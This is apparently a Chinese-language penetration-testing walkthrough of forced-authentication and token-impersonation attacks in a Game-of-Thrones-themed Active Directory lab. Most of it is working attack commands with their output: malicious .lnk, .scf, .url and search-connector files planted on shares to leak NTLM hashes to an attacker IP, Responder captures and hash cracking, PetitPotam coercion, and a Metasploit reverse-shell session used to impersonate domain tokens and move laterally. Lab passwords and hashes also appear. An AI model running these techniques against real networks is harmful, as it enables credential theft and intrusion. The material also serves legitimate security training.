
在前面的文章中,我們學習了如何透過網路層面進行 NTLM Relay、Kerberos 攻擊等技術。今天要探討的是更加隱蔽且具威脅性的攻擊手法 - 利用 Windows 檔案系統特性強制使用者認證。這些攻擊不需要複雜的網路設定,只要能在共享資料夾中放置一個精心構造的檔案,就能在使用者毫不知情的情況下擷取其認證憑證。
這些技術在真實的滲透測試中極為有效,因為:
Windows 在顯示資料夾內容時,會嘗試載入檔案的圖示、縮圖、屬性等資訊。如果這些資訊存放在遠端 UNC 路徑,Windows 會自動使用目前使用者的憑證進行 SMB 認證。
認證觸發流程:
使用者開啟資料夾
    ↓
Explorer.exe 掃描資料夾內容
    ↓
發現檔案包含 UNC 路徑 (\\attacker\share\icon.ico)
    ↓
嘗試連接遠端路徑取得圖示
    ↓
自動發送 NTLM 認證封包
    ↓
攻擊者收到 NetNTLMv2 Hash
關鍵特性:
| 檔案類型 | 攻擊向量 | 觸發條件 | 隱蔽性 | 
|---|---|---|---|
| .lnk | Icon 路徑 | 進入資料夾 | ⭐⭐⭐ | 
| .scf | Icon 路徑 | 進入資料夾 | ⭐⭐⭐ | 
| .url | Icon 路徑 | 進入資料夾 | ⭐⭐⭐ | 
| .library-ms | Library 定義 | 開啟檔案 | ⭐⭐ | 
| .searchConnector-ms | Search Connector | 開啟檔案 | ⭐⭐ | 
攻擊場景設定:
網路拓撲:
攻擊者 (Kali)          受害者 (catelyn)       目標共享 (castelblack)
192.168.139.138      -->    RDP 連線              192.168.139.11
                      WINTERFELL             \\castelblack\all
首先模擬真實使用者登入到域內電腦:
# 以 catelyn.stark 登入 WINTERFELL
xfreerdp3 /d:north.sevenkingdoms.local \
         /u:catelyn.stark \
         /p:'robbsansabradonaryarickon' \
         /v:winterfell.north.sevenkingdoms.local \
         /cert:ignore
為什麼要模擬 RDP Session?
使用 crackmapexec 檢查 CASTELBLACK 的共享權限:
crackmapexec  smb castelblack.north.sevenkingdoms.local \
    -u arya.stark \
    -p 'Needle' \
    -d north.sevenkingdoms.local \
    --shares

預期輸出:
SMB         castelblack.north.sevenkingdoms.local 445    CASTELBLACK      [*] Windows 10 / Server 2019 Build 17763 x64 (name:CASTELBLACK) (domain:north.sevenkingdoms.local) (signing:False) (SMBv1:False)
SMB         castelblack.north.sevenkingdoms.local 445    CASTELBLACK      [+] north.sevenkingdoms.local\arya.stark:Needle
SMB         castelblack.north.sevenkingdoms.local 445    CASTELBLACK      [+] Enumerated shares
SMB         castelblack.north.sevenkingdoms.local 445    CASTELBLACK      Share           Permissions     Remark
SMB         castelblack.north.sevenkingdoms.local 445    CASTELBLACK      -----           -----------     ------
SMB         castelblack.north.sevenkingdoms.local 445    CASTELBLACK      ADMIN$                          Remote Admin
SMB         castelblack.north.sevenkingdoms.local 445    CASTELBLACK      all             READ,WRITE      Basic RW share for all
SMB         castelblack.north.sevenkingdoms.local 445    CASTELBLACK      C$                              Default share
SMB         castelblack.north.sevenkingdoms.local 445    CASTELBLACK      IPC$            READ            Remote IPC
SMB         castelblack.north.sevenkingdoms.local 445    CASTELBLACK      public          READ            Basic Read share for all domain users
關鍵發現:
all 共享具有 READ,WRITE 權限crackmapexec 提供了自動化的 .lnk 檔案部署模組:
crackmapexec  smb castelblack.north.sevenkingdoms.local \
    -u arya.stark \
    -p 'Needle' \
    -d north.sevenkingdoms.local \
    -M slinky \
    -o NAME=.thumbs.db SERVER=192.168.139.138

參數解析:
-M slinky - 使用 slinky 模組 (自動建立 .lnk 檔案)-o NAME=.thumbs.db - 檔案名稱 (以 . 開頭 = 隱藏檔案)-o SERVER=192.168.139.138 - 攻擊者 IP (接收認證的伺服器)模組運作原理:
# slinky 模組會建立類似這樣的 .lnk 檔案
[InternetShortcut]
URL=http://placeholder/
WorkingDirectory=C:\
IconFile=\\192.168.139.138\share\icon.ico
IconIndex=1
隱藏檔案的戰術考量:
report.lnk)在攻擊者機器上啟動 Responder 攔截認證:
responder -I eth1
Responder 運作流程:
1. 監聽 SMB (445)、HTTP (80) 等協定
2. 等待受害者連線
3. 回應 NTLM Challenge
4. 接收並記錄 NetNTLMv2 Response
5. 儲存到檔案供後續破解
在 catelyn.stark 的 RDP Session中:
\\castelblack.north.sevenkingdoms.local\all

發生了什麼?
catelyn 開啟 \\castelblack\all
    ↓
Explorer.exe 掃描資料夾
    ↓
發現 .thumbs.db.lnk 檔案
    ↓
嘗試載入圖示: \\192.168.139.138\share\icon.ico
    ↓
SMB 連線到 192.168.139.138
    ↓
發送 catelyn.stark 的 NetNTLMv2 認證
    ↓
Responder 攔截並記錄

Responder 輸出:
[SMB] NTLMv2-SSP Client   : fe80::dd7f:8006:df5:48a8
[SMB] NTLMv2-SSP Username : NORTH\robb.stark
[SMB] NTLMv2-SSP Hash     : robb.stark::NORTH:6ba227f5cd77b28a:9FC4E9B8CDF9711D2E1887E47386F157:010100000000000000896F6D903ADC01DD6200712191C13E0000000002000800420056004C00340001001E00570049004E002D004F00450038005500510054003300450036005900420004003400570049004E002D004F0045003800550051005400330045003600590042002E00420056004C0034002E004C004F00430041004C0003001400420056004C0034002E004C004F00430041004C0005001400420056004C0034002E004C004F00430041004C000700080000896F6D903ADC0106000400020000000800300030000000000000000000000000300000EC9DC4C5820EDFD26C12AD9B6C525C7409450F95D0D11AED94973631598BB5000A001000000000000000000000000000000000000900160063006900660073002F0042007200610076006F0073000000000000000000
[SMB] NTLMv2-SSP Client   : 192.168.139.11
[SMB] NTLMv2-SSP Username : NORTH\catelyn.stark
[SMB] NTLMv2-SSP Hash     : catelyn.stark::NORTH:3b47254597767d58:07DAB9937867C21534DC5F5D37C296FD:010100000000000000896F6D903ADC010F392F578D0468E10000000002000800420056004C00340001001E00570049004E002D004F00450038005500510054003300450036005900420004003400570049004E002D004F0045003800550051005400330045003600590042002E00420056004C0034002E004C004F00430041004C0003001400420056004C0034002E004C004F00430041004C0005001400420056004C0034002E004C004F00430041004C000700080000896F6D903ADC0106000400020000000800300030000000000000000100000000200000EC9DC4C5820EDFD26C12AD9B6C525C7409450F95D0D11AED94973631598BB5000A001000000000000000000000000000000000000900280063006900660073002F003100390032002E003100360038002E003100330039002E003100330038000000000000000000
成功取得:
選項 1: 破解 Hash
# 儲存 hash 到檔案
echo 'catelyn.stark::NORTH:3b47254597767d58:07DAB9937867C21534DC5F5D37C296FD:010100000000000000896F6D903ADC010F392F578D0468E10000000002000800420056004C00340001001E00570049004E002D004F00450038005500510054003300450036005900420004003400570049004E002D004F0045003800550051005400330045003600590042002E00420056004C0034002E004C004F00430041004C0003001400420056004C0034002E004C004F00430041004C0005001400420056004C0034002E004C004F00430041004C000700080000896F6D903ADC0106000400020000000800300030000000000000000100000000200000EC9DC4C5820EDFD26C12AD9B6C525C7409450F95D0D11AED94973631598BB5000A001000000000000000000000000000000000000900280063006900660073002F003100390032002E003100360038002E003100330039002E003100330038000000000000000000' > catelyn.hash

echo "robbsansabradonaryarickon" > password_list
john --format=netntlmv2 catelyn.hash --wordlist=password_list

攻擊完成後務必清除惡意檔案:
crackmapexec smb castelblack.north.sevenkingdoms.local \
    -u arya.stark \
    -p 'Needle' \
    -d north.sevenkingdoms.local \
    -M slinky \
    -o NAME=.thumbs.db SERVER=192.168.139.138 CLEANUP=true

從 RDP 可以看到檔案就不見了
crackmapexec 也提供 scuffy 模組部署 .scf 檔案:
crackmapexec smb castelblack.north.sevenkingdoms.local \
    -u arya.stark \
    -p 'Needle' \
    -d north.sevenkingdoms.local \
    -M scuffy \
    -o NAME=@update.scf SERVER=192.168.139.138

.scf 檔案格式:
[Shell]
Command=2
IconFile=\\192.168.139.138\share\icon.ico
[Taskbar]
Command=ToggleDesktop
特性:
@ 會排在最前面 (Windows 排序規則)
# 使用 scuffy 模組的 CLEANUP 選項
crackmapexec smb castelblack.north.sevenkingdoms.local \
    -u arya.stark \
    -p 'Needle' \
    -d north.sevenkingdoms.local \
    -M scuffy \
    -o NAME=@update.scf SERVER=192.168.139.138 CLEANUP=true


手動建立 .url 檔案:
# 建立惡意 .url
cat > clickme.url << 'EOF'
[InternetShortcut]
URL=http://click.me/pwned
WorkingDirectory=test
IconFile=\\192.168.139.138\%USERNAME%.icon
IconIndex=1
EOF
特殊變數利用:
%USERNAME% - 會展開為目前使用者名稱上傳檔案:
~/.venvs/impacket/bin/smbclient.py \
    north.sevenkingdoms.local/arya.stark:Needle@castelblack.north.sevenkingdoms.local
use all
put clickme.url
exit

觸發條件:
sudo responder -I eth1 -v

一樣可以接收到 hash


# 使用 smbclient 刪除
~/.venvs/impacket/bin/smbclient.py \
    north.sevenkingdoms.local/arya.stark:Needle@castelblack.north.sevenkingdoms.local
	
smb: \> use all
smb: \all\> del clickme.url
smb: \all\> ls
smb: \all\> exit


xfreerdp3 /d:essos.local \
         /u:khal.drogo \
         /p:'horse' \
         /v:192.168.139.23 \
         /cert:ignore
Get-Service WebClient

WebClient 服務說明:
使用另一個網域 (essos.local) 的帳號作為受害者:
xfreerdp3 /d:essos.local \
         /u:khal.drogo \
         /p:'horse' \
         /v:192.168.139.23 \
         /cert:ignore
場景說明:
手動建立惡意檔案:
<?xml version="1.0" encoding="UTF-8"?>
<searchConnectorDescription
xmlns="http://schemas.microsoft.com/windows/2009/searchConnector">
<description>Microsoft Outlook</description>
<isSearchOnlyItem>false</isSearchOnlyItem>
<includeInStartMenuScope>true</includeInStartMenuScope>
<templateInfo>
<folderType>{91475FE5-586B-4EBA-8D75-D17434B8CDF6}</folderType>
</templateInfo>
<simpleLocation>
<url>https://whatever/</url>
</simpleLocation>
</searchConnectorDescription>
或使用 crackmapexec 模組:
crackmapexec smb castelblack.north.sevenkingdoms.local \
    -u arya.stark \
    -p 'Needle' \
    -d north.sevenkingdoms.local \
    -M drop-sc \
    -o NAME=outlook.searchConnector-ms \
       URL=https://whatever/

在 khal.drogo 的 RDP Session中:
\\castelblack\all

神奇的事情發生:
# 檢查服務狀態
Get-Service WebClient
Status   Name               DisplayName
------   ----               -----------
Running  WebClient          WebClient

WebClient 自動啟動了!
原理解析:
.searchConnector-ms 檔案需要 WebDAV 協定支援為了讓 Responder 能接收請求,需要建立 DNS 記錄:
git clone https://github.com/dirkjanm/krbrelayx
cd krbrelayx
pip install dnspython ldap3 impacket
# 使用 dnstools.py 新增 DNS 記錄
python3 dnstool.py \
    -u 'north.sevenkingdoms.local\arya.stark' \
    -p Needle \
    --record 'responder' \
    --action add \
    --data 192.168.139.138 \
    192.168.139.11

參數說明:
--record 'responder' - DNS 名稱--data 192.168.139.138 - 指向攻擊者 IP192.168.139.11 - DC 的 IP (執行 DNS 修改)DNS 記錄結果:
responder.north.sevenkingdoms.local -> 192.168.139.138
PetitPotam 是一個強制認證工具,可以觸發目標主機連線到我們的伺服器:
# 強制 BRAAVOS 透過 HTTP/WebDAV 認證到 responder
~/.venvs/petitpotam/bin/petitpotam.py \
    -u 'arya.stark' \
    -p Needle \
    -d 'north.sevenkingdoms.local' \
    "responder@80/random.txt" \
    192.168.139.23

參數解析:
"responder@80/random.txt" - 目標 URL (HTTP/WebDAV)192.168.139.23 - 受害者機器 (BRAAVOS)@80 - 使用 HTTP 協定 (而非 HTTPS)也可以使用 NetBIOS 名稱:
# 如果 Responder 的 NetBIOS 名稱是 WIN-6WQ7CSHQ2YG
python3 PetitPotam.py \
    -u 'arya.stark' \
    -p Needle \
    -d 'north.sevenkingdoms.local' \
    "WIN-6WQ7CSHQ2YG@80/random.txt" \
    192.168.139.23
Responder 輸出:
[WebDAV] NTLMv2 Client   : 192.168.139.23
[WebDAV] NTLMv2 Username : ESSOS\BRAAVOS$
[WebDAV] NTLMv2 Hash     : BRAAVOS$::ESSOS:794dd30d39070aaa:2452EC13A0C59AA894778CBDBD316A65:0101000000000000C76C8900B93ADC015AE45EAE097DE0E600000000020008004900310052004E0001001E00570049004E002D0052005200460059004D004F004E003500440037005500040014004900310052004E002E004C004F00430041004C0003003400570049004E002D0052005200460059004D004F004E0035004400370055002E004900310052004E002E004C004F00430041004C00050014004900310052004E002E004C004F00430041004C000800300030000000000000000000000000400000C93DAE91995A85551D27A81F4AC55D25F18F050CC71AB2D14ECB2371112674D60A001000000000000000000000000000000000000900340048005400540050002F0072006500730070006F006E006400650072002E006C006F00630061006C0064006F006D00610069006E000000000000000000

HTTP 認證的特殊價值:
# 啟動 ntlmrelayx 針對 LDAP
ntlmrelayx.py \
    -t ldap://192.168.139.11 \
    --escalate-user khal.drogo \
    --delegate-access
可能的攻擊結果:
┌──(impacket)─(kali㉿kali)-[~]
└─$ ls -la /usr/share/responder/logs/*.txt
-rw-r--r-- 1 root root 4056 Oct 11 10:16 /usr/share/responder/logs/SMB-NTLMv2-SSP-fe80::dd7f:8006:df5:48a8.txt
┌──(impacket)─(kali㉿kali)-[~]
└─$ cat /usr/share/responder/logs/SMB-NTLMv2-SSP-fe80::dd7f:8006:df5:48a8.txt
eddard.stark::NORTH:923755ad3c2dd7f1:1C37CC7538F86AEEC70694AE182A2F1A:010100000000000000D433FC973ADC0178B7108208D575310000000002000800390049003000380001001E00570049004E002D0043005A0053005900450057005A00520033003300500004003400570049004E002D0043005A0053005900450057005A0052003300330050002E0039004900300038002E004C004F00430041004C000300140039004900300038002E004C004F00430041004C000500140039004900300038002E004C004F00430041004C000700080000D433FC973ADC0106000400020000000800300030000000000000000000000000300000EC9DC4C5820EDFD26C12AD9B6C525C7409450F95D0D11AED94973631598BB5000A001000000000000000000000000000000000000900140063006900660073002F004D006500720065006E000000000000000000

Windows Access Token 包含了使用者的完整安全上下文,是作業系統識別使用者身份的關鍵資料結構。
Token 的組成要素:
Access Token 內容:
├── User SID(使用者安全識別碼)
├── Group SIDs(群組成員資格)
├── Privileges(特權清單)
├── Default DACL(預設存取控制清單)
└── Session ID(工作階段識別碼)
模擬攻擊的運作原理:
當使用者登入 Windows 系統後,即使使用者已經登出或中斷連線,其 Token 可能仍保留在系統記憶體中。如果攻擊者擁有足夠的權限(通常是本機管理員或 SYSTEM),就可以「借用」這些 Token 來假冒其他使用者的身份執行操作。
實際攻擊情境:
攻擊者以 jeor.mormont(本機管理員)登入 CASTELBLACK
    ↓
發現 robb.stark 曾經登入過(Token 還在記憶體中)
    ↓
使用 Token 模擬技術「借用」robb.stark 的身份
    ↓
以 robb.stark 的身份存取網域資源
關鍵技術要點:
目標資訊:
# 檢查目前登入使用者
~/.venvs/impacket/bin/wmiexec.py \
    north.sevenkingdoms.local/jeor.mormont:'_L0ngCl@w_'@192.168.139.22 \
    "query user"
輸出範例:
 USERNAME              SESSIONNAME        ID  STATE   IDLE TIME  LOGON TIME
 robb.stark                                2  Disc        21:50  10/7/2025 6:54 AM

解讀:
msfconsole
成功啟動後會看到:
       =[ metasploit v6.4.64-dev                          ]
+ -- --=[ 2519 exploits - 1296 auxiliary - 431 post       ]
+ -- --=[ 1610 payloads - 49 encoders - 13 nops           ]
+ -- --=[ 9 evasion                                       ]
msf6 >

msf6 > use exploit/windows/smb/psexec
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
設定目標主機:
msf6 exploit(windows/smb/psexec) > set RHOSTS 192.168.139.22
RHOSTS => 192.168.139.22
設定網域名稱:
msf6 exploit(windows/smb/psexec) > set SMBDomain north.sevenkingdoms.local
SMBDomain => north.sevenkingdoms.local
設定使用者帳號:
msf6 exploit(windows/smb/psexec) > set SMBUser jeor.mormont
SMBUser => jeor.mormont
設定密碼:
msf6 exploit(windows/smb/psexec) > set SMBPass _L0ngCl@w_
SMBPass => _L0ngCl@w_
設定 Payload:
msf6 exploit(windows/smb/psexec) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
設定監聽位址(您的 Kali IP):
msf6 exploit(windows/smb/psexec) > set LHOST 192.168.139.138
LHOST => 192.168.139.138

msf6 exploit(windows/smb/psexec) > exploit
執行過程輸出:
[*] Started reverse TCP handler on 192.168.139.138:4444
[*] 192.168.139.22:445 - Connecting to the server...
[*] 192.168.139.22:445 - Authenticating to 192.168.139.22:445|north.sevenkingdoms.local as user 'jeor.mormont'...
[*] 192.168.139.22:445 - Selecting PowerShell target
[*] 192.168.139.22:445 - Executing the payload...
[*] Sending stage (203846 bytes) to 192.168.139.22
[+] 192.168.139.22:445 - Service start timed out, OK if running a command or non-service executable...
[*] Meterpreter session 1 opened (192.168.139.138:4444 -> 192.168.139.22:50041)

成功建立 Meterpreter 工作階段!
meterpreter > load incognito
Loading extension incognito...Success.
Incognito 模組功能:

meterpreter > list_tokens -u
輸出結果:
Delegation Tokens Available
========================================
Font Driver Host\UMFD-0
Font Driver Host\UMFD-1
Font Driver Host\UMFD-2
NORTH\jeor.mormont
NORTH\robb.stark
NORTH\sql_svc
NT AUTHORITY\LOCAL SERVICE
NT AUTHORITY\NETWORK SERVICE
NT AUTHORITY\SYSTEM
NT SERVICE\SQLTELEMETRY$SQLEXPRESS
Window Manager\DWM-1
Window Manager\DWM-2
重要發現:
Token 類型說明:
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
目前已經是 SYSTEM 權限,這是本機的最高權限。

meterpreter > impersonate_token "NORTH\\robb.stark"
[+] Delegation token available
[+] Successfully impersonated user NORTH\robb.stark
注意事項:
\\ 來跳脫meterpreter > getuid
[-] stdapi_sys_config_getuid: Operation failed: Access is denied.
getuid 指令失敗是正常現象,這是因為權限從 SYSTEM 降到一般使用者。

使用 shell 驗證:
meterpreter > shell
Process 6692 created.
Channel 1 created.
Microsoft Windows [Version 10.0.17763.7792]
C:\Windows\system32> whoami
north\robb.stark
成功!現在的身份是 robb.stark
C:\Windows\system32> whoami /all

完整輸出結果:
USER INFORMATION
----------------
User Name        SID
================ =============================================
north\robb.stark S-1-5-21-3845383931-1370366697-225289965-1113
GROUP INFORMATION
-----------------
Group Name                                 Type             SID                                           Attributes
========================================== ================ ============================================= ==================================================
Everyone                                   Well-known group S-1-1-0                                       Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                              Alias            S-1-5-32-545                                  Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Desktop Users               Alias            S-1-5-32-555                                  Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\REMOTE INTERACTIVE LOGON      Well-known group S-1-5-14                                      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\INTERACTIVE                   Well-known group S-1-5-4                                       Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users           Well-known group S-1-5-11                                      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization             Well-known group S-1-5-15                                      Mandatory group, Enabled by default, Enabled group
LOCAL                                      Well-known group S-1-2-0                                       Mandatory group, Enabled by default, Enabled group
NORTH\Stark                                Group            S-1-5-21-3845383931-1370366697-225289965-1106 Mandatory group, Enabled by default, Enabled group
Authentication authority asserted identity Well-known group S-1-18-1                                      Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level     Label            S-1-16-8192
PRIVILEGES INFORMATION
----------------------
Privilege Name                Description                    State
============================= ============================== ========
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
輸出內容分析:
使用者資訊部分:
north\robb.stark - 確認已成功模擬為 robb.starkS-1-5-21-3845383931-1370366697-225289965-1113 - 使用者的安全識別碼群組成員資格分析:
| 群組名稱 | 類型 | 意義 | 
|---|---|---|
| Everyone | 萬用群組 | 所有使用者都屬於此群組 | 
| BUILTIN\Users | 本機群組 | 基本使用者權限 | 
| BUILTIN\Remote Desktop Users | 本機群組 | 可透過 RDP 登入 | 
| NT AUTHORITY\INTERACTIVE | 萬用群組 | 可互動式登入 | 
| NT AUTHORITY\Authenticated Users | 萬用群組 | 已通過認證的使用者 | 
| NORTH\Stark | 網域群組 | 屬於 Stark 家族群組 | 
特權資訊分析:
關鍵發現:
BUILTIN\Remote Desktop Users 成員,表示可以 RDP 登入NORTH\Stark 網域群組,可能有特定的網域資源存取權C:\Windows\system32> net user robb.stark /domain

完整輸出結果:
The request will be processed at a domain controller for domain north.sevenkingdoms.local.
User name                    robb.stark
Full Name                    robb.stark
Comment                      Robb Stark
User's comment
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never
Password last set            9/7/2025 10:32:38 AM
Password expires             Never
Password changeable          9/8/2025 10:32:38 AM
Password required            Yes
User may change password     Yes
Workstations allowed         All
Logon script
User profile
Home directory
Last logon                   10/11/2025 7:57:07 AM
Logon hours allowed          All
Local Group Memberships      *Administrators
Global Group memberships     *Stark                *Domain Users
The command completed successfully.
網域帳號資訊解析:
基本資訊:
帳號狀態:
密碼政策:
登入資訊:
群組成員資格(重要發現):
| 群組類型 | 群組名稱 | 權限範圍 | 意義 | 
|---|---|---|---|
| Local Group | Administrators | CASTELBLACK 本機 | robb.stark 是 CASTELBLACK 的本機管理員! | 
| Global Group | Stark | 整個 north 網域 | Stark 家族成員群組 | 
| Global Group | Domain Users | 整個 north 網域 | 所有網域使用者的預設群組 | 
關鍵發現分析:
本機管理員權限: robb.stark 是 CASTELBLACK 的 Administrators 群組成員,這表示:
密碼政策寬鬆:
無登入限制:
測試存取網域控制站 WINTERFELL:
C:\Windows\system32> dir \\winterfell\c$
輸出結果:
 Volume in drive \\winterfell\c$ is Windows 2019
 Volume Serial Number is 9458-49FB
 Directory of \\winterfell\c$
09/07/2025  10:24 AM             1,521 dns_log.txt
05/11/2021  09:55 PM    <DIR>          PerfLogs
09/07/2025  08:50 AM    <DIR>          Program Files
05/11/2021  09:41 PM    <DIR>          Program Files (x86)
09/07/2025  10:11 AM    <DIR>          setup
09/07/2025  06:13 AM    <DIR>          tmp
09/30/2025  08:39 AM    <DIR>          Users
10/02/2025  07:30 AM    <DIR>          Windows
               1 File(s)          1,521 bytes
               7 Dir(s)  45,742,538,752 bytes free
成功存取! robb.stark 可以存取網域控制站 WINTERFELL 的 C$ 共享。
測試列舉 KINGSLANDING 的共享資源:
C:\Windows\system32> net view \\kingslanding
輸出結果:
Shared resources at \\kingslanding
Share name  Type  Used as  Comment
-------------------------------------------------------------------------------
CertEnroll  Disk           Active Directory Certificate Services share
NETLOGON    Disk           Logon server share
SYSVOL      Disk           Logon server share
The command completed successfully.

網域資源存取分析:
WINTERFELL(north 網域的 DC):
dns_log.txt 檔案(可能包含敏感資訊)KINGSLANDING(sevenkingdoms 網域的 DC):
權限評估總結:
| 目標主機 | 網域 | 存取層級 | 可執行操作 | 
|---|---|---|---|
| CASTELBLACK | north | 本機管理員 | 完全控制 | 
| WINTERFELL | north | 管理共享存取 | 讀取系統檔案、潛在的橫向移動 | 
| KINGSLANDING | sevenkingdoms | 列舉共享 | 資訊收集、可能的跨網域攻擊 | 
攻擊價值分析:
已證實橫向移動能力:
發現敏感檔案:
dns_log.txt 可能包含網域基礎設施資訊潛在的提權路徑:
建議後續行動:
# 1. 讀取 DNS 日誌檔案
C:\Windows\system32> type \\winterfell\c$\dns_log.txt
# 2. 探索 SYSVOL 中的群組原則
C:\Windows\system32> dir \\kingslanding\SYSVOL\sevenkingdoms.local\Policies
# 3. 搜尋 SYSVOL 中的敏感資訊(密碼、憑證)
C:\Windows\system32> findstr /S /I /M "password" \\kingslanding\SYSVOL\*.*
# 4. 列舉網域信任關係
C:\Windows\system32> nltest /domain_trusts
# 5. 檢查是否可存取其他主機
C:\Windows\system32> dir \\braavos\c$
從 Token 清單中發現了 NORTH\sql_svc,這是 SQL Server 服務帳號。服務帳號在 Active Directory 環境中通常擁有特殊權限,是滲透測試中的高價值目標。
第一次嘗試(失敗):
C:\Windows\system32> exit
exit
meterpreter > impersonate_token "NORTH\\sql_svc"
[-] stdapi_sys_config_getsid: Operation failed: Access is denied.

問題分析:
解決方案:使用 rev2self 恢復 SYSTEM 權限
meterpreter > rev2self
rev2self 指令說明:
第二次嘗試(成功):
meterpreter > impersonate_token "NORTH\\sql_svc"
[+] Delegation token available
[+] Successfully impersonated user NORTH\sql_svc
取得 Shell 並驗證身份:
meterpreter > shell
Process 5036 created.
Channel 3 created.
Microsoft Windows [Version 10.0.17763.7792]
C:\Windows\system32> whoami
north\sql_svc

成功模擬為 sql_svc 服務帳號。
C:\Windows\system32> net user sql_svc /domain

輸出結果:
The request will be processed at a domain controller for domain north.sevenkingdoms.local.
User name                    sql_svc
Full Name                    sql_svc
Comment                      sql service
User's comment
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never
Password last set            9/7/2025 10:32:59 AM
Password expires             Never
Password changeable          9/8/2025 10:32:59 AM
Password required            Yes
User may change password     Yes
Workstations allowed         All
Logon script
User profile
Home directory
Last logon                   10/11/2025 8:04:26 AM
Logon hours allowed          All
Local Group Memberships
Global Group memberships     *Domain Users
The command completed successfully.
帳號特性分析:
基本資訊:
帳號狀態(典型服務帳號特徵):
登入限制:
群組成員資格:
初步觀察:
C:\Windows\system32> whoami /priv

輸出結果:
PRIVILEGES INFORMATION
----------------------
Privilege Name                Description                               State
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled
SeImpersonatePrivilege        Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege       Create global objects                     Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled
特權分析:
| 特權名稱 | 描述 | 狀態 | 安全影響 | 
|---|---|---|---|
| SeImpersonatePrivilege | 認證後模擬客戶端 | 已啟用 | 極高風險 | 
| SeAssignPrimaryTokenPrivilege | 取代處理程序等級權杖 | 已停用 | 中度風險 | 
| SeChangeNotifyPrivilege | 繞過周遊檢查 | 已啟用 | 低風險 | 
| SeCreateGlobalPrivilege | 建立全域物件 | 已啟用 | 低風險 | 
| SeIncreaseQuotaPrivilege | 調整處理程序記憶體配額 | 已停用 | 低風險 | 
| SeIncreaseWorkingSetPrivilege | 增加處理程序工作集 | 已停用 | 低風險 | 
SeImpersonatePrivilege 的重要性(關鍵發現):
這個特權是 Windows 本地提權攻擊的核心,允許擁有此特權的帳號模擬其他使用者的安全上下文。
可利用的提權工具:
攻擊原理:
實戰意義:
雖然我們目前已經擁有 SYSTEM 權限(透過 Metasploit),但在其他滲透測試場景中,如果只取得 sql_svc 的憑證而沒有管理員權限,這個特權可以直接提權到 SYSTEM。
C:\Windows\system32> whoami /groups

輸出結果:
GROUP INFORMATION
-----------------
Group Name                                 Type             SID                                                             Attributes                      
========================================== ================ =============================================================== ==================================================
Everyone                                   Well-known group S-1-1-0                                                         Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                              Alias            S-1-5-32-545                                                    Mandatory group, Enabled by default, Enabled group
BUILTIN\Performance Monitor Users          Alias            S-1-5-32-558                                                    Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\SERVICE                       Well-known group S-1-5-6                                                         Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON                              Well-known group S-1-2-1                                                         Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users           Well-known group S-1-5-11                                                        Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization             Well-known group S-1-5-15                                                        Mandatory group, Enabled by default, Enabled group
NT SERVICE\MSSQL$SQLEXPRESS                Well-known group S-1-5-80-3880006512-4290199581-1648723128-3569869737-3631323133 Enabled by default, Enabled group, Group owner
LOCAL                                      Well-known group S-1-2-0                                                         Mandatory group, Enabled by default, Enabled group
Authentication authority asserted identity Well-known group S-1-18-1                                                        Mandatory group, Enabled by default, Enabled group
Mandatory Label\High Mandatory Level       Label            S-1-16-12288                                                                                    
群組成員資格深度分析:
關鍵群組識別:
| 群組名稱 | 類型 | 重要性 | 意義 | 
|---|---|---|---|
| NT SERVICE\MSSQL$SQLEXPRESS | 服務群組 | 極高 | 確認此帳號是 SQL Server Express 的執行帳號 | 
| NT AUTHORITY\SERVICE | 系統群組 | 高 | 標識為服務帳號身份 | 
| BUILTIN\Performance Monitor Users | 本機群組 | 中 | 可存取效能計數器資料 | 
| Mandatory Label\High Mandatory Level | 完整性等級 | 極高 | 擁有高完整性等級 | 
High Mandatory Level 的意義(重要):
Windows 完整性機制(Mandatory Integrity Control, MIC)分為四個等級:
High Integrity 的特權:
NT SERVICE\MSSQL$SQLEXPRESS 群組的意義:
這個 SID(S-1-5-80-...)格式表示這是一個「虛擬服務帳號」:
已確認的特性:
| 特性 | 狀態 | 攻擊價值 | 
|---|---|---|
| 服務帳號身份 | 確認(NT AUTHORITY\SERVICE) | 高 | 
| SeImpersonatePrivilege | 已啟用 | 極高(本地提權) | 
| High Mandatory Level | 確認(S-1-16-12288) | 高 | 
| SQL Server 關聯 | 確認(MSSQL$SQLEXPRESS) | 中高 | 
| 密碼永不過期 | 確認 | 高(Kerberoasting 目標) | 
| 帳號永不過期 | 確認 | 中 | 
| 最近活躍 | 確認(2025/10/11 登入) | 高 | 
潛在攻擊向量:
sql_svc 展現了服務帳號的所有典型特徵:
設定特徵:
權限特徵:
安全風險:
滲透測試價值:
這個帳號雖然表面上只是 Domain Users 成員,但其 SeImpersonatePrivilege 和 High Integrity Level 使其成為一個極具價值的攻擊目標。在真實的滲透測試中,發現這類服務帳號往往是突破防線的關鍵。
使用被模擬使用者的身份存取其他主機:
C:\Windows\system32> dir \\TARGET_HOST\c$
C:\Windows\system32> copy payload.exe \\TARGET_HOST\c$\temp\
如果模擬的使用者是 Domain Admins 成員:
C:\Windows\system32> net group "Domain Admins" /domain
C:\Windows\system32> secretsdump.py north.sevenkingdoms.local/robb.stark@winterfell
以目標使用者身份存取其私人檔案:
C:\Windows\system32> dir C:\Users\robb.stark\Desktop
C:\Windows\system32> type C:\Users\robb.stark\Documents\passwords.txt
技術層面:
管理層面:
組態建議:
# 停用 WDigest(避免明文密碼留在記憶體)
